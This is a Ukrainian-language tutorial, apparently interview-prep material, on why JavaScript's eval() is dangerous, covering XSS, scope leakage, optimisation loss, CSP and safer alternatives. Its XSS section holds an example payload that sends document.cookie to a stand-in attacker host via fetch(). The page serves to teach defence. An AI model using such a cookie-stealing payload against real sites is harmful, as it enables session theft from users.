Skip to main content

Чому eval() небезпечний

eval() приймає рядок JavaScript-коду і виконує його як звичайний код під час роботи програми. Це буквально міні-інтерпретатор JavaScript усередині JavaScript, і саме тому він перетворює будь-які дані на виконуваний код з усіма наслідками для безпеки.

Теорія

TL;DR

  • eval(code) виконує рядок як код у поточному контексті виконання.
  • Якщо в рядок потрапляє ввід користувача, це XSS або remote code execution.
  • eval() бачить усі змінні поточної області видимості, тобто ламає ізоляцію.
  • Рушій не може оптимізувати такий код, JIT і inline-оптимізації вимикаються.
  • Прямий і непрямий виклик працюють у різних областях видимості.
  • Сувора CSP без unsafe-eval забороняє виклик, і браузер кидає помилку.
  • new Function() має ті самі ризики, бо теж виконує рядок як код.

Швидкий приклад

javascript
eval("console.log('Hello, world!')"); // the string is executed as code const userInput = prompt('Enter something:'); eval(userInput); // never do this: the user decides what your app runs

Ризик 1: XSS і виконання довільного коду

Якщо в eval() потрапляє ввід користувача, це катастрофа. Достатньо ввести:

javascript
alert('Hacked!');

і код виконається. У гіршому випадку:

javascript
fetch('https://attacker.example.com/steal?cookies=' + document.cookie);

Зловмисник отримує куки користувача і токен авторизації. Це називається XSS (Cross-Site Scripting) або Remote Code Execution.

Ризик 2: порушення ізоляції області видимості

eval() виконується у поточному контексті, тобто має доступ до всіх змінних і функцій вашого скрипта:

javascript
const secret = 'myToken123'; eval('console.log(secret)'); // prints the secret

Якщо хтось впровадить свій код, він отримає повний доступ до внутрішнього стану застосунку.

Ризик 3: втрата оптимізації і непередбачувана область видимості

Сучасні рушії (V8, SpiderMonkey, JavaScriptCore) сильно оптимізують код під час компіляції. Але поруч з eval() рушій не може передбачити, який код виконається, тому оптимізацію доводиться вимикати. Наслідки:

  • код працює повільніше;
  • garbage collector втручається частіше;
  • inline та JIT-оптимізації вимикаються.

Окрема пастка, різниця між прямим і непрямим викликом. Прямий виклик працює в поточній області:

javascript
let x = 1; eval('x = 10'); console.log(x); // 10

Непрямий виклик, наприклад через (0, eval)(...), працює у глобальній області:

javascript
let x = 1; (0, eval)('x = 10'); console.log(x); // 1 console.log(window.x); // 10

Через це код стає непередбачуваним і важким для налагодження.

Безпечні альтернативи і CSP

Найчастіше eval() намагаються використати, щоб розібрати JSON, викликати функцію за іменем або обчислити вираз з рядка. Усі ці задачі мають безпечні відповідники:

ЗадачаБезпечна альтернатива
Розбір JSONJSON.parse(str)
Виклик функції за іменемobj[funcName]()
Динамічна логікаMap або switch
Шаблониtemplate literals (рядки з підстановкою)
Математичні виразиокремий парсер (math.js, expr-eval)

Конструктор Function теж небезпечний. Іноді думають, що new Function() безпечніший, але він так само виконує рядок як код:

javascript
const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 3)); // 5

Працює, але якщо туди потраплять дані від користувача, ризик той самий, що й з eval().

Крім того, eval() не можна використати під суворою Content Security Policy. Якщо у HTTP-заголовках вказано:

text
Content-Security-Policy: script-src 'self'

то при спробі викликати eval() браузер просто кине помилку:

text
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowed

Порівняння поганого і прийнятного підходу. Погано:

javascript
function runExpression(expr) { return eval(expr); } runExpression('2 + 3 * 4');

Краще, з попередньою перевіркою допустимих символів:

javascript
function safeEval(expr) { const allowed = /^[0-9+\-*/().\s]+$/; if (!allowed.test(expr)) throw new Error('Invalid characters'); return Function(`"use strict"; return (${expr})`)(); } console.log(safeEval('2 + 3 * 4')); // 14

Підсумок ризиків:

ПроблемаЧому небезпечно
Вразливість до XSSВиконує довільний код
Порушує ізоляціюДоступ до всіх змінних
ПовільноВимикає оптимізацію рушія
НепередбачуваноРізна область видимості у прямого і непрямого виклику
Несумісно з CSPЗаборонено на сайтах із суворою політикою

Типові помилки

  • Розбір JSON через eval(). Класична стара звичка; JSON.parse() і швидший, і не виконує код.
  • Віра в те, що new Function() безпечний. Це той самий механізм, лише з власною глобальною областю видимості.
  • Фільтрація «поганих слів» у рядку. Чорні списки обходяться; єдиний надійний підхід, це біла мова допустимих символів або повна відмова від виконання рядка.
  • eval() для виклику функції за іменем. Замість eval('obj.' + name + '()') пишіть obj[name](), це і безпечно, і читабельно.
  • Ігнорування непрямого виклику. (0, eval)(str), window.eval(str) і setTimeout('код') теж виконують рядок як код, часто у глобальній області.
  • Додавання unsafe-eval у CSP, щоб «запрацювало». Це знімає саме той захист, який мав врятувати застосунок від впровадженого коду.

Коротка відповідь

Для співбесіди
Premium

Коротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.